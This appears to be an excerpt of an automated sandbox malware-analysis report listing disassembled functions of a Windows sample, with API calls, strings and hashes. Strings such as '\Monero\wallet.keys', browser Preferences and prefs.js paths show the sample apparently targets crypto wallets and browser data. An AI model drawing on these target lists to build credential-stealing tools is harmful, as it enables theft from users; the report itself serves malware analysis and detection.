Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 17a3791e00761e70c07cc8aab7031ae0b122ba0a69d4236031c3e84cb073cd75
Instruction ID: a8dd30ac3f7f829b00f781743728ebe73bf0c8d09c7228f77b934df94537ccdb
Opcode Fuzzy Hash: 17a3791e00761e70c07cc8aab7031ae0b122ba0a69d4236031c3e84cb073cd75
Instruction Fuzzy Hash: 4FE08670945308FFE7507BE09C0AB0D76B8AB05B01F101046F708B61D0D7B83A00DA9A

Function 004610A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 004610B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 004610F7

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 1a9bfe55295fc07256170ba773490f6593786c2c22ae7433355f7bb7a15bba13
Instruction ID: 2f124c68603b1d4de921dee1d8858735dbc740883212dda3b8434228d7326fe7
Opcode Fuzzy Hash: 1a9bfe55295fc07256170ba773490f6593786c2c22ae7433355f7bb7a15bba13
Instruction Fuzzy Hash: C8F0E9B1641204BBEB149AA49C49FBBB7D8D705715F305449F504E3390D675AE00CA55

Function 00461190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004778E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00477910
Part of subcall function 004778E0: RtlAllocateHeap.NTDLL(00000000), ref: 00477917
Part of subcall function 004778E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0047792F

Part of subcall function 00477850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004611B7), ref: 00477880
Part of subcall function 00477850: RtlAllocateHeap.NTDLL(00000000), ref: 00477887
Part of subcall function 00477850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0047789F

ExitProcess.KERNEL32 ref: 004611C6

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 8274b43c9fafe5fd3da977a08e931416a1fa9a7d14c3e41eddd75189dc41bd64
Instruction ID: a3c7826e4654f88fd5526a9bdbb7e047d9e631d9719452a0b0ef3f9f9b7358d6
Opcode Fuzzy Hash: 8274b43c9fafe5fd3da977a08e931416a1fa9a7d14c3e41eddd75189dc41bd64
Instruction Fuzzy Hash: D1E0ECB595420153CB0077F2AC0ABAB339D5B16349F08542FFA0992612FA2DF810C96F

Non-executed Functions

Function 004738B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004738CC
FindFirstFileA.KERNEL32(?,?), ref: 004738E3
lstrcat.KERNEL32(?,?), ref: 00473935
StrCmpCA.SHLWAPI(?,00480F70), ref: 00473947
StrCmpCA.SHLWAPI(?,00480F74), ref: 0047395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00473C67
FindClose.KERNEL32(000000FF), ref: 00473C7C

Strings

%s\*, xrefs: 004738C0
%s%s, xrefs: 00473AAD
%s\%s, xrefs: 0047397A
%s\%s, xrefs: 00473A6F
%s\%s\%s, xrefs: 00473A4A

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 6d057cc3cd765f53f362e0711a6b954cd453dcfaa296e0352f02e6e419430e18
Instruction ID: 3bcc57884fd93d4ac4bf6526b995617f05888a7e48cf9f11caeda3348c01dc10
Opcode Fuzzy Hash: 6d057cc3cd765f53f362e0711a6b954cd453dcfaa296e0352f02e6e419430e18
Instruction Fuzzy Hash: 04A156B19002189BDB64EFA4DC85FFE7379BF45301F04858EA60D96141EB78AB84CF66

Function 00474910 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0047492C
FindFirstFileA.KERNEL32(?,?), ref: 00474943
StrCmpCA.SHLWAPI(?,00480FDC), ref: 00474971
StrCmpCA.SHLWAPI(?,00480FE0), ref: 00474987
FindNextFileA.KERNEL32(000000FF,?), ref: 00474B7D
FindClose.KERNEL32(000000FF), ref: 00474B92

Strings

%s\%s, xrefs: 004749A4
0, xrefs: 00474A3D
%s\*, xrefs: 00474920
%s\%s, xrefs: 004749FB

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$0
API String ID: 180737720-562914289
Opcode ID: 32d4b60214245ea662a4a07d956e5b074ed76079c6c929c62de45db311813cee
Instruction ID: 31a07c8ddfdfed78c3d8a690cc0f6c8e4cab2b9d9b48876522fef77996f6f88e
Opcode Fuzzy Hash: 32d4b60214245ea662a4a07d956e5b074ed76079c6c929c62de45db311813cee
Instruction Fuzzy Hash: 6E6145B1910118ABCB60FBE0DC45EEE737DBB89700F04858EA60D96140EB78EB45CF95

Function 0046BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

FindFirstFileA.KERNEL32(00000000,?,00480B32,00480B2B,00000000,?,?,?,004813F4,00480B2A), ref: 0046BEF5
StrCmpCA.SHLWAPI(?,004813F8), ref: 0046BF4D
StrCmpCA.SHLWAPI(?,004813FC), ref: 0046BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0046C7BF
FindClose.KERNEL32(000000FF), ref: 0046C7D1

Strings

Google Chrome, xrefs: 0046C634
Brave, xrefs: 0046C102
Preferences, xrefs: 0046C11E
\Brave\Preferences, xrefs: 0046C1DB

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 26802c1bb2541936edcb4129cce410d687ddc38100b71fd8cd897250f7681a3b
Instruction ID: 7c097093b20a4a25060bf7b390081e01418f749d162a89b0a8f58037864aa551
Opcode Fuzzy Hash: 26802c1bb2541936edcb4129cce410d687ddc38100b71fd8cd897250f7681a3b
Instruction Fuzzy Hash: C242857190010497CB14FBB1DD96EEE733DAF84304F40855EB90A96191EF38AB59CBAB

Function 00474570 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00474580
RtlAllocateHeap.NTDLL(00000000), ref: 00474587
wsprintfA.USER32 ref: 004745A6
FindFirstFileA.KERNEL32(?,?), ref: 004745BD
StrCmpCA.SHLWAPI(?,00480FC4), ref: 004745EB
StrCmpCA.SHLWAPI(?,00480FC8), ref: 00474601
FindNextFileA.KERNEL32(000000FF,?), ref: 0047468B
FindClose.KERNEL32(000000FF), ref: 004746A0
lstrcat.KERNEL32(?,00E8E230), ref: 004746C5
lstrcat.KERNEL32(?,00E8D1F8), ref: 004746D8
lstrlen.KERNEL32(?), ref: 004746E5
lstrlen.KERNEL32(?), ref: 004746F6

Strings

%s\*, xrefs: 0047459A
0, xrefs: 004746B7
%s\%s, xrefs: 0047461B

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*$0
API String ID: 671575355-2955795000
Opcode ID: fc9755106767d0894ec18d17e0ae63a4c92e186511b4cd3da9ec6689c79ca81b
Instruction ID: 567b18084694f579f57213b73da0fbe1ed532b4075b8429579f11f14c5abe7bc
Opcode Fuzzy Hash: fc9755106767d0894ec18d17e0ae63a4c92e186511b4cd3da9ec6689c79ca81b
Instruction Fuzzy Hash: 065166B5550218ABC764FBB0DC89FEE737DAB54300F40858AB60D92150EB78EB84CF96

Function 00473EA0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00473EC3
FindFirstFileA.KERNEL32(?,?), ref: 00473EDA
StrCmpCA.SHLWAPI(?,00480FAC), ref: 00473F08
StrCmpCA.SHLWAPI(?,00480FB0), ref: 00473F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0047406C
FindClose.KERNEL32(000000FF), ref: 00474081

Strings

0, xrefs: 00473F4F
%s\%s, xrefs: 00473EB7

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$0
API String ID: 180737720-3690862327
Opcode ID: 0b8a60b26f76aaedcf8a2aa466a7b79df4e21ce05be63615acbafe8fa566bd45
Instruction ID: daefb126cd45605ca6b2f5d973187272c3bf82a41e05b6bf8f56423e646a35d0
Opcode Fuzzy Hash: 0b8a60b26f76aaedcf8a2aa466a7b79df4e21ce05be63615acbafe8fa566bd45
Instruction Fuzzy Hash: 3E5133B2900218ABCB64FBA0DC45EEA737DBB44304F00858EB65996140EB79AB89CF55

Function 0046ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0046ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0046ED55
StrCmpCA.SHLWAPI(?,00481538), ref: 0046EDAB
StrCmpCA.SHLWAPI(?,0048153C), ref: 0046EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0046F2AE
FindClose.KERNEL32(000000FF), ref: 0046F2C3

Strings

%s\*.*, xrefs: 0046ED32

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: a7d52ff333251c7bfee4a32b22f0a5cd676395c84c1313f16c5a29e5e0f2c8a6
Instruction ID: 6ef5f4e43cac664f1c3145998c227907d551933b044b8bf33f937c40ab08d07c
Opcode Fuzzy Hash: a7d52ff333251c7bfee4a32b22f0a5cd676395c84c1313f16c5a29e5e0f2c8a6
Instruction Fuzzy Hash: 54E133B18111189ADB54FB61CC51EEE7338AF94304F40859EB51E62052EF386F9ACF6A

Function 0046F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004815B8,00480D96), ref: 0046F71E
StrCmpCA.SHLWAPI(?,004815BC), ref: 0046F76F
StrCmpCA.SHLWAPI(?,004815C0), ref: 0046F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0046FAB1
FindClose.KERNEL32(000000FF), ref: 0046FAC3

Strings

prefs.js, xrefs: 0046F812

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: b664eed5d5872376b5967753fd8e7060f88919faa95157eefab04e589a84d6f2
Instruction ID: 70466d8c42d3f3c3f59aac13788b61a996e733f5505914ca79f799d6fe69362d
Opcode Fuzzy Hash: b664eed5d5872376b5967753fd8e7060f88919faa95157eefab04e589a84d6f2
Instruction Fuzzy Hash: 30B162719001049BCB24FF65DC56AEE7379AF94304F0085AEA40E97151EF38AB59CF9B

Function 004616D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0048510C,?,?,?,004851B4,?,?,00000000,?,00000000), ref: 00461923
StrCmpCA.SHLWAPI(?,0048525C), ref: 00461973
StrCmpCA.SHLWAPI(?,00485304), ref: 00461989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00461D40
DeleteFileA.KERNEL32(00000000), ref: 00461DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00461E20
FindClose.KERNEL32(000000FF), ref: 00461E32

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

Strings

\*.*, xrefs: 004617F1

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

